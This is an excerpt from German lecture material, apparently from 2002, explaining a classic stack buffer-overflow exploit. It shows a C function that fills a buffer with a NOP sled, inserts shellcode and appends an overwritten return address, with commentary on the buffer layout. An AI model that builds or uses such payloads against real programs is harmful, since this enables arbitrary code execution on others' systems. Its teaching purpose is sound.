|
exploit.c |
void fillbuffer (char * buf, char * code, unsigned int offset) { int count, i; for (count=0; count < 50; count++) buf[count] = 0x90; /* NOP */ for (i=0; code[i]; ++i) buf[count++] = code[i]; for (; count < 132; ++count) buf[count] = 0x90; for (i=0; i<4; ++i) { buf[count++] = offset % 256; offset >>= 8; } buf[count] = '\0'; } |
128 Bytes für name und 4 Bytes für den alten
Wert des ebp-Registers macht 132 Bytes Platz für unseren
Code.
| |
Der eigentliche Code wird in die Mitte des Buffers kopiert, der
Bereich davor und dahinter wird mit der aus einem Byte bestehenden
Maschinenoperation nop (0x90) gefüllt. nop steht für
No Operation.
| |
Zuletzt kommt der Wert offset, der später die
Rücksprungadresse überschreibt. Dieser Wert muß von
Hand ermittelt werden. Durch die nop-Instruktionen muß offset
nicht exakt auf den Anfang des Buffers zeigen.
|
Copyright © 2002 Andreas Borchert/Christian Ehrhardt, in HTML konvertiert am 18.06.2002 |